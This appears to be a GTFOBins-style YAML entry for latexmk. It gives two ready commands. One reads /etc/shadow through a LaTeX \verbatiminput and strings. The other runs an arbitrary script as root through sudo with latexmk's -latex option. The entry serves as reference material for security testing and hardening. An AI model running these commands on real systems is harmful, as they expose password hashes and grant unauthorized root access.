description: `latexmk` is a perl script.
functions:
  file-read:
    - code: |
        echo "\documentclass[12pt]{article} \usepackage{verbatim} \begin{document} \verbatiminput{/etc/shadow} \end{document}" > read.tex
        latexmk read.tex
        strings read.dvi
  sudo:
    - code: |
        echo "PROGRAM > /tmp/result.txt" > /tmp/run.sh
        sudo latexmk -latex="/tmp/run.sh" file.tex